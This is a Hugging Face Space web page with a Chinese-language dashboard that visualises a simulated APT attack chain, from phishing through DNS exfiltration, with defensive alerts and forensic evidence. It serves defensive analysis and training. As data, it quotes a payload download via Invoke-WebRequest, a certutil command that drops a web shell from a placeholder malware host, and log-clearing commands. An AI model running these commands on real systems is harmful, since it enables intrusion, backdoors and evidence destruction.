Hugging Face's logo

Spaces:
capta1n
/
bas5
Running

App Files Community
bas5 / index.html
capta1n's picture
capta1n
Add 2 files
0d77da7 verified
raw
history blame contribute delete
33.3 kB
<!DOCTYPE html>
<html lang="zh-CN">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>攻击流程时间线可视化</title>
 <script src="https://cdn.tailwindcss.com"></script>
 <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
 <style>
 .attack-card {
 transition: all 0.3s ease;
 transform-origin: center;
 }
 .attack-card:hover {
 transform: translateY(-5px);
 box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
 }
 .attack-card.active {
 border-left-width: 4px;
 transform: translateY(-5px);
 }
 .timeline-connector {
 position: relative;
 height: 4px;
 background: linear-gradient(90deg, #e5e7eb, #9ca3af);
 }
 .timeline-connector::after {
 content: '';
 position: absolute;
 top: -4px;
 width: 12px;
 height: 12px;
 border-radius: 50%;
 background-color: #3b82f6;
 transform: translateX(-50%);
 }
 .severity-badge {
 font-size: 0.65rem;
 padding: 0.15rem 0.4rem;
 }
 .severity-critical {
 background-color: #fee2e2;
 color: #dc2626;
 }
 .severity-high {
 background-color: #fef3c7;
 color: #d97706;
 }
 .severity-emergency {
 background-color: #ffedd5;
 color: #ea580c;
 }
 .defense-badge {
 font-size: 0.7rem;
 padding: 0.2rem 0.5rem;
 }
 .animate-pulse-slow {
 animation: pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite;
 }
 @keyframes pulse {
 0%, 100% {
 opacity: 1;
 }
 50% {
 opacity: 0.5;
 }
 }
 .arrow {
 display: inline-block;
 width: 24px;
 height: 24px;
 text-align: center;
 line-height: 24px;
 color: #9ca3af;
 }
 .attacker-node {
 background-color: #fee2e2;
 border-left: 4px solid #dc2626;
 }
 .compact-card {
 min-width: 180px;
 width: 180px;
 }
 .behavior-text {
 display: -webkit-box;
 -webkit-line-clamp: 3;
 -webkit-box-orient: vertical;
 overflow: hidden;
 text-overflow: ellipsis;
 font-size: 0.8rem;
 line-height: 1.3;
 color: #6b7280;
 margin-top: 0.4rem;
 min-height: 60px;
 }
 .attack-details-container {
 min-height: 500px;
 }
 .timeline-container {
 min-height: 200px;
 }
 .full-height {
 min-height: calc(100vh - 80px);
 }
 .attack-flow-container {
 padding: 1.5rem 0;
 }
 </style>
</head>
<body class="bg-gray-50">
 <div class="container mx-auto px-6 py-8 full-height">
 <div class="text-center mb-10">
 <h1 class="text-4xl font-bold text-gray-800 mb-3">高级持续性威胁攻击链可视化分析</h1>
 <p class="text-gray-600 text-lg max-w-4xl mx-auto">完整的攻击流程时间线可视化，包含交互式防御检测点与详细取证分析</p>
 </div>
<!-- Defense Detection Summary -->
 <div class="bg-white rounded-xl shadow-md border border-gray-200 overflow-hidden mb-10">
 <div class="border-b border-gray-200 px-8 py-5 bg-gray-50">
 <h3 class="font-semibold text-xl text-gray-800">防御检测概览</h3>
 </div>
 <div id="defense-summary" class="p-8">
 <div class="grid grid-cols-1 md:grid-cols-4 gap-8">
 <div class="bg-blue-50 p-6 rounded-lg border border-blue-100">
 <div class="flex items-center">
 <div class="w-14 h-14 rounded-full bg-blue-100 flex items-center justify-center mr-5">
 <i class="fas fa-shield-alt text-blue-500 text-xl"></i>
 </div>
 <div>
 <h4 class="text-base font-medium text-gray-800">拦截率</h4>
 <p class="text-3xl font-bold text-blue-600">92.5%</p>
 <p class="text-xs text-gray-500 mt-1">较上月提升3.2%</p>
 </div>
 </div>
 </div>
 <div class="bg-yellow-50 p-6 rounded-lg border border-yellow-100">
 <div class="flex items-center">
 <div class="w-14 h-14 rounded-full bg-yellow-100 flex items-center justify-center mr-5">
 <i class="fas fa-bell text-yellow-500 text-xl"></i>
 </div>
 <div>
 <h4 class="text-base font-medium text-gray-800">告警率</h4>
 <p class="text-3xl font-bold text-yellow-600">87.3%</p>
 <p class="text-xs text-gray-500 mt-1">误报率2.1%</p>
 </div>
 </div>
 </div>
 <div class="bg-green-50 p-6 rounded-lg border border-green-100">
 <div class="flex items-center">
 <div class="w-14 h-14 rounded-full bg-green-100 flex items-center justify-center mr-5">
 <i class="fas fa-search text-green-500 text-xl"></i>
 </div>
 <div>
 <h4 class="text-base font-medium text-gray-800">溯源率</h4>
 <p class="text-3xl font-bold text-green-600">78.9%</p>
 <p class="text-xs text-gray-500 mt-1">平均响应时间4.2小时</p>
 </div>
 </div>
 </div>
 <div class="bg-purple-50 p-6 rounded-lg border border-purple-100">
 <div class="flex items-center">
 <div class="w-14 h-14 rounded-full bg-purple-100 flex items-center justify-center mr-5">
 <i class="fas fa-clock text-purple-500 text-xl"></i>
 </div>
 <div>
 <h4 class="text-base font-medium text-gray-800">攻击时长</h4>
 <p class="text-3xl font-bold text-purple-600">7小时</p>
 <p class="text-xs text-gray-500 mt-1">从入侵到检测</p>
 </div>
 </div>
 </div>
 </div>
 </div>
 </div>
<!-- Attack Timeline -->
 <div class="bg-white rounded-xl shadow-md border border-gray-200 p-8 mb-10">
 <div class="flex justify-between items-center mb-8">
 <div>
 <h2 class="text-2xl font-semibold text-gray-800">攻击流程时间线</h2>
 <p class="text-gray-500 text-base">点击任意攻击阶段查看详细取证证据与防御措施</p>
 </div>
 <div class="flex items-center">
 <span class="text-sm text-gray-500 mr-3">时间轴缩放:</span>
 <button class="px-3 py-1 bg-gray-100 rounded-l-md text-gray-700 hover:bg-gray-200">
 <i class="fas fa-search-minus"></i>
 </button>
 <button class="px-3 py-1 bg-gray-100 border-l border-r border-gray-200 text-gray-700 hover:bg-gray-200">
 <i class="fas fa-search"></i>
 </button>
 <button class="px-3 py-1 bg-gray-100 rounded-r-md text-gray-700 hover:bg-gray-200">
 <i class="fas fa-search-plus"></i>
 </button>
 </div>
 </div>
<div class="relative timeline-container">
 <div class="attack-flow-container overflow-x-auto pb-6">
 <div class="flex space-x-6 items-center">
 <!-- Attacker Node -->
 <div class="attack-card compact-card flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 attacker-node">
 <div class="p-5">
 <div class="flex items-center justify-center mb-3">
 <div class="w-10 h-10 rounded-full bg-red-100 text-red-600 flex items-center justify-center">
 <i class="fas fa-user-secret text-lg"></i>
 </div>
 </div>
 <h3 class="font-semibold text-gray-800 text-base text-center">攻击源</h3>
 <div class="behavior-text text-center">APT组织"OceanLotus" (海莲花) 已知活跃于东南亚地区</div>
 <div class="flex justify-center items-center mt-2">
 <span class="text-sm text-gray-400">00:00:00</span>
 </div>
 </div>
 </div>
<div class="arrow">
 <i class="fas fa-arrow-right text-xl"></i>
 </div>
<!-- Attack cards will be inserted here by JavaScript -->
 </div>
 </div>
 </div>
 </div>
<!-- Attack Details -->
 <div class="bg-white rounded-xl shadow-md border border-gray-200 overflow-hidden">
 <div class="border-b border-gray-200 px-8 py-5 bg-gray-50">
 <div class="flex justify-between items-center">
 <h3 class="font-semibold text-xl text-gray-800">攻击阶段取证详情</h3>
 <button class="px-4 py-2 bg-blue-50 text-blue-600 rounded-md text-sm font-medium hover:bg-blue-100">
 <i class="fas fa-download mr-2"></i>导出完整报告
 </button>
 </div>
 </div>
 <div id="attack-details" class="p-8 attack-details-container">
 <div class="text-center py-16">
 <div class="mx-auto w-20 h-20 rounded-full bg-blue-50 flex items-center justify-center mb-5">
 <i class="fas fa-mouse-pointer text-blue-500 text-3xl"></i>
 </div>
 <h4 class="text-xl font-medium text-gray-700 mb-3">选择攻击阶段进行详细分析</h4>
 <p class="text-gray-500 text-lg max-w-2xl mx-auto">点击时间线上的任意攻击卡片查看攻击行为和触发防御的详细取证信息</p>
 </div>
 </div>
 </div>
 </div>
<script>
 // Attack steps data in Chinese
 const attackSteps = [
 {
 id: 1,
 title: "钓鱼邮件投递",
 icon: "envelope",
 color: "bg-red-100 text-red-600",
 behavior: "伪造的'季度财务报告'通知邮件，包含伪装为report_Q3_2023.pdf的恶意文件，使用社会工程学诱导用户启用宏",
 defenses: "邮件安全网关 + 终端防护",
 alerts: [
 {
 severity: "critical",
 message: "检测到伪造发件人 | 发件人: finance@company[.]com → 收件人: 5名财务部门员工 | 包含恶意附件 (SHA256: a1b2c3...) | 识别为APT29钓鱼模板"
 },
 {
 severity: "high",
 message: "终端检测到可疑宏执行 | 用户: ZhangSan | 文件: report_Q3_2023.pdf | 触发规则: '可疑VBA代码注入'"
 }
 ],
 forensic: [
 "发件人IP: 45.67.89.123 (越南)",
 "附件SHA256: a1b2c3d4e5f6... (匹配已知APT29样本库)",
 "邮件头显示SPF验证失败 (伪造发件人)",
 "VBA代码包含PowerShell下载器 (base64编码)",
 "5名收件人中3人打开了附件",
 "首次检测时间: 2023-11-15 09:23:45"
 ],
 time: "09:23:45"
 },
 {
 id: 2,
 title: "木马执行",
 icon: "bug",
 color: "bg-yellow-100 text-yellow-600",
 behavior: "恶意宏触发PowerShell脚本，下载Cobalt Strike DLL并注入到explorer.exe进程，建立持久化注册表项",
 defenses: "终端检测与响应(EDR) + 行为分析",
 alerts: [
 {
 severity: "high",
 message: "可疑进程注入 | 进程: C:\\Windows\\System32\\explorer.exe → 加载模块: a09xdf.dll | DLL签名无效且匹配已知Cobalt Strike签名"
 },
 {
 severity: "emergency",
 message: "异常PowerShell活动 | 命令: Invoke-WebRequest -Uri hxxps://cdn.example[.]com/update.js -OutFile %TEMP%\\svchost.exe"
 }
 ],
 forensic: [
 "进程树: report_Q3_2023.pdf → winword.exe → powershell.exe → explorer.exe",
 "DLL内存分配模式匹配Cobalt Strike Beacon",
 "注册表键修改: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsUpdate",
 "下载的payload: SHA256 d4e5f6... (Cobalt Strike Beacon)",
 "C2域名: cdn.example[.]com (解析到185.123.32.1)",
 "首次活动时间: 2023-11-15 09:45:12"
 ],
 time: "09:45:12"
 },
 {
 id: 3,
 title: "C2通信建立",
 icon: "satellite-dish",
 color: "bg-green-100 text-green-600",
 behavior: "通过CDN域名(api.cloudfront[.]com)进行HTTPS心跳通信，部署反向SSH隧道到内部跳板服务器，使用证书固定规避检测",
 defenses: "网络流量分析(NTA) + 威胁情报",
 alerts: [
 {
 severity: "emergency",
 message: "异常出站连接 | 目标IP: 54.231.1.1 (AWS新加坡) | 协议: HTTPS | 异常证书(CN=*.cloudfront[.]com但由通配符Let's Encrypt证书签发)"
 },
 {
 severity: "critical",
 message: "威胁情报匹配 | 域名: api.cloudfront[.]com | 关联APT组织: OceanLotus | 置信度: 92%"
 }
 ],
 forensic: [
 "C2域名: api.cloudfront[.]com (解析到54.231.1.1)",
 "HTTPS流量模式: 每17秒5KB心跳包",
 "证书签发者: Let's Encrypt R3 (对CDN服务不常见)",
 "SSH隧道建立到10.8.8.12(内部测试环境跳板服务器)",
 "使用AES-256-CBC加密通信",
 "数据外传速率: 平均2.3KB/s",
 "首次连接时间: 2023-11-15 10:05:33"
 ],
 time: "10:05:33"
 },
 {
 id: 4,
 title: "凭证窃取",
 icon: "user-secret",
 color: "bg-blue-100 text-blue-600",
 behavior: "使用Mimikatz提取LSASS进程内存凭证，窃取Chrome浏览器cookie并伪造User-Agent(同步受害者浏览器指纹)",
 defenses: "用户行为分析(UEBA) + 凭证保护",
 alerts: [
 {
 severity: "high",
 message: "异常浏览器会话 | 用户: ZhangSan | 源IP: 172.16.1.23 → 设备指纹改变(新的VM特征/QEMU虚拟GPU)"
 },
 {
 severity: "critical",
 message: "凭证转储检测 | 进程: lsass.exe | 操作: 读取敏感内存区域 | 工具特征: Mimikatz"
 }
 ],
 forensic: [
 "内存中检测到Mimikatz进程(伪装为svchost.exe)",
 "提取的凭证: 3个域账号(包括域管理员)",
 "访问了Chrome cookie数据库(保存了5个内部系统会话)",
 "User-Agent更改为: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36'",
 "来自172.16.1.23的新登录会话带有VM指纹",
 "活动时间: 2023-11-15 11:20:45"
 ],
 time: "11:20:45"
 },
 {
 id: 5,
 title: "横向移动",
 icon: "arrows-alt-h",
 color: "bg-purple-100 text-purple-600",
 behavior: "使用窃取的域管理员凭证通过WMI横向移动到财务系统服务器(10.8.8.45)，部署Web Shell后门",
 defenses: "网络分段 + 特权访问管理",
 alerts: [
 {
 severity: "critical",
 message: "异常WMI连接 | 源IP: 172.16.1.23 → 目标: 10.8.8.45 | 用户: Domain\\Admin | 操作: 创建进程"
 },
 {
 severity: "emergency",
 message: "Web Shell检测 | 路径: C:\\inetpub\\wwwroot\\_auth.aspx | 特征: 加密的ASPX后门"
 }
 ],
 forensic: [
 "WMI连接从172.16.1.23到10.8.8.45",
 "执行的命令: cmd.exe /c certutil -urlcache -split -f hxxp://malware.example[.]com/backdoor.aspx C:\\inetpub\\wwwroot\\_auth.aspx",
 "Web Shell密码: #Ocean2023!",
 "后门通信使用AES-256加密",
 "横向移动涉及3台服务器",
 "首次活动时间: 2023-11-15 13:15:22"
 ],
 time: "13:15:22"
 },
 {
 id: 6,
 title: "数据收集",
 icon: "database",
 color: "bg-pink-100 text-pink-600",
 behavior: "通过Web Shell访问财务数据库，查询敏感交易记录，使用RAR加密压缩数据",
 defenses: "数据库审计 + 数据防泄漏",
 alerts: [
 {
 severity: "critical",
 message: "异常数据库查询 | 用户: sa | 操作: SELECT * FROM Transactions WHERE amount > 1000000 | 来源IP: 10.8.8.45"
 },
 {
 severity: "high",
 message: "大容量数据压缩 | 文件: C:\\temp\\finance_data.rar | 大小: 2.7GB | 包含敏感数据模式"
 }
 ],
 forensic: [
 "数据库查询: 执行了28次SELECT操作",
 "涉及表: Transactions, Customers, BankAccounts",
 "压缩文件: finance_data.rar (密码: P@ssw0rd2023)",
 "数据分类: 财务记录(85%) + 客户PII(15%)",
 "查询模式: 筛选大额交易(>100万)",
 "活动时间: 2023-11-15 14:30:18"
 ],
 time: "14:30:18"
 },
 {
 id: 7,
 title: "数据外泄",
 icon: "file-export",
 color: "bg-indigo-100 text-indigo-600",
 behavior: "通过DNS隧道分批次传输加密数据到attacker[.]com，使用TXT记录隐藏数据，清理日志痕迹",
 defenses: "全流量威胁分析 + 数据防泄漏",
 alerts: [
 {
 severity: "critical",
 message: "异常DNS请求 | 目标域名: xyz.attacker[.]com | 请求类型: TXT | 数据量: 142MB (超过阈值500%)"
 },
 {
 severity: "emergency",
 message: "日志清除检测 | 系统: 10.8.8.45 | 操作: wevtutil cl security | 关联APT战术: T1070"
 }
 ],
 forensic: [
 "DNS查询到xyz.attacker[.]com (TXT记录)",
 "数据传输速率: 每次查询18.5KB",
 "总外泄数据: 2.7GB 通过15,234次DNS请求",
 "使用的加密: AES-256-CBC + Base64编码",
 "日志清除命令: wevtutil cl security, powershell Clear-EventLog",
 "外泄完成时间: 2023-11-15 17:45:30"
 ],
 time: "17:45:30"
 }
 ];
 // Render attack cards
 const timelineContainer = document.querySelector('.attack-flow-container .flex');
attackSteps.forEach((step, index) => {
 const card = document.createElement('div');
 card.className = `attack-card compact-card flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 ${index === 0 ? 'active border-l-4 border-red-500' : ''}`;
 card.innerHTML = `
 <div class="p-5">
 <div class="flex items-center justify-center mb-3">
 <div class="w-10 h-10 rounded-full ${step.color} flex items-center justify-center">
 <i class="fas fa-${step.icon} text-lg"></i>
 </div>
 </div>
 <h3 class="font-semibold text-gray-800 text-base text-center">${step.title}</h3>
 <div class="behavior-text text-center">${step.behavior}</div>
 <div class="flex justify-center items-center mt-2">
 <span class="text-sm text-gray-400">${step.time}</span>
 </div>
 </div>
 `;
card.addEventListener('click', () => {
 // Update active card
 document.querySelectorAll('.attack-card').forEach(c => c.classList.remove('active', 'border-l-4', 'border-red-500', 'border-yellow-500', 'border-green-500', 'border-blue-500', 'border-purple-500', 'border-pink-500', 'border-indigo-500'));
 card.classList.add('active', 'border-l-4');
// Add specific border color
 if (step.color.includes('red')) card.classList.add('border-red-500');
 else if (step.color.includes('yellow')) card.classList.add('border-yellow-500');
 else if (step.color.includes('green')) card.classList.add('border-green-500');
 else if (step.color.includes('blue')) card.classList.add('border-blue-500');
 else if (step.color.includes('purple')) card.classList.add('border-purple-500');
 else if (step.color.includes('pink')) card.classList.add('border-pink-500');
 else if (step.color.includes('indigo')) card.classList.add('border-indigo-500');
// Update attack details
 const detailsContainer = document.getElementById('attack-details');
 detailsContainer.innerHTML = `
 <div>
 <div class="flex items-center mb-8">
 <div class="w-16 h-16 rounded-full ${step.color} flex items-center justify-center mr-6">
 <i class="fas fa-${step.icon} text-2xl"></i>
 </div>
 <div>
 <h3 class="text-2xl font-semibold text-gray-800">${step.title}</h3>
 <div class="flex items-center mt-1">
 <span class="text-sm bg-gray-100 text-gray-800 px-3 py-1 rounded-full mr-3">阶段 ${step.id}</span>
 <span class="text-sm text-gray-500"><i class="far fa-clock mr-1"></i>${step.time}</span>
 </div>
 </div>
 </div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-8">
 <div>
 <div class="mb-8">
 <h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
 <i class="fas fa-bug mr-2 text-gray-500"></i> 攻击行为分析
 </h4>
 <div class="bg-gray-50 p-5 rounded-lg border border-gray-200 text-base text-gray-700 leading-relaxed">
 ${step.behavior}
 </div>
 </div>
<div class="mb-8">
 <h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
 <i class="fas fa-shield-alt mr-2 text-gray-500"></i> 触发防御措施
 </h4>
 <div class="flex items-center bg-blue-50 p-4 rounded-lg border border-blue-200">
 <div class="w-12 h-12 rounded-full bg-blue-100 flex items-center justify-center mr-4">
 <i class="fas fa-${step.defenses.includes('邮件') ? 'envelope' : step.defenses.includes('终端') ? 'desktop' : step.defenses.includes('网络') ? 'network-wired' : step.defenses.includes('用户') ? 'user-shield' : step.defenses.includes('数据') ? 'database' : 'shield-alt'} text-blue-500"></i>
 </div>
 <div>
 <h4 class="font-medium text-gray-800">${step.defenses}</h4>
 <p class="text-sm text-gray-500 mt-1">检测时间 ${step.time}</p>
 </div>
 </div>
 </div>
 </div>
<div>
 <div class="mb-8">
 <h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
 <i class="fas fa-exclamation-triangle mr-2 text-gray-500"></i> 安全告警
 </h4>
 <div class="space-y-4">
 ${step.alerts.map(alert => `
 <div class="p-4 rounded-lg border ${alert.severity === 'critical' ? 'bg-red-50 border-red-100' : alert.severity === 'high' ? 'bg-yellow-50 border-yellow-100' : 'bg-orange-50 border-orange-100'}">
 <div class="flex items-start">
 <div class="flex-shrink-0 mt-1 mr-3">
 <i class="fas fa-${alert.severity === 'critical' ? 'exclamation-triangle text-red-500' : alert.severity === 'high' ? 'exclamation-circle text-yellow-500' : 'exclamation text-orange-500'} text-lg"></i>
 </div>
 <div>
 <div class="font-medium text-gray-800 mb-1">${alert.severity === 'critical' ? '严重' : alert.severity === 'high' ? '高危' : '紧急'}告警</div>
 <div class="text-sm text-gray-700">${alert.message}</div>
 </div>
 </div>
 </div>
 `).join('')}
 </div>
 </div>
<div>
 <h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
 <i class="fas fa-search mr-2 text-gray-500"></i> 取证证据
 </h4>
 <div class="bg-gray-50 p-5 rounded-lg border border-gray-200">
 <div class="space-y-3">
 ${step.forensic.map(item => `
 <div class="flex items-start text-base">
 <div class="flex-shrink-0 mt-1.5 mr-3">
 <div class="w-2 h-2 rounded-full bg-gray-500"></div>
 </div>
 <div class="text-gray-700">${item}</div>
 </div>
 `).join('')}
 </div>
 </div>
 </div>
 </div>
 </div>
<div class="mt-8 pt-6 border-t border-gray-200">
 <h4 class="font-medium text-lg text-gray-800 mb-4">关联攻击指标(IoCs)</h4>
 <div class="grid grid-cols-1 md:grid-cols-3 gap-4">
 <div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
 <div class="text-sm font-medium text-gray-500 mb-2">恶意文件</div>
 <div class="text-sm font-mono text-gray-800 break-all">SHA256: a1b2c3d4e5f6...</div>
 </div>
 <div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
 <div class="text-sm font-medium text-gray-500 mb-2">C2服务器</div>
 <div class="text-sm font-mono text-gray-800">api.cloudfront[.]com</div>
 </div>
 <div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
 <div class="text-sm font-medium text-gray-500 mb-2">攻击者IP</div>
 <div class="text-sm font-mono text-gray-800">45.67.89.123</div>
 </div>
 </div>
 </div>
 </div>
 `;
 });
// Add card and arrow to timeline
 timelineContainer.appendChild(card);
// Add arrow after each card except the last one
 if (index < attackSteps.length - 1) {
 const arrow = document.createElement('div');
 arrow.className = 'arrow';
 arrow.innerHTML = '<i class="fas fa-arrow-right text-xl"></i>';
 timelineContainer.appendChild(arrow);
 }
 });
 // Auto-select first card on load
 document.querySelectorAll('.attack-card')[1].click();
 </script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas5" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>